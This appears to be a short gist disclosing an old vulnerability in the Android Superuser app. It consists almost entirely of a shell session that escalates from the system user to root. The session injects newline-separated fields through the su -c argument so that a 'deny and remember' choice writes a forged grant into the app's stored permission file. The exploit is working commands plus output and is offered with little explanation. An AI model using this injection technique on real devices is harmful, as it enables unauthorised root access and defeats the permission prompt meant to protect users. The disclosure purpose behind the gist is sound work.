ooold superuser vuln, reported to chainsdd 2012-08-13

gistfile1.txt

root@android:/ # su 1000
system@android:/ $ cd /tmp
system@android:/tmp $ cat > foo
/system/bin/sh
1
rubbish
system@android:/tmp $ su -c "$(cat foo)"
# press "deny" now with "remember" option activated
Permission denied
1|system@android:/tmp $ su
system@android:/tmp # cat /data/data/com.noshufou.android.su/files/stored/1000-0
/system/bin/sh
1
rubbish
0
system@android:/tmp # id
uid=0(root) gid=0(root)
system@android:/tmp #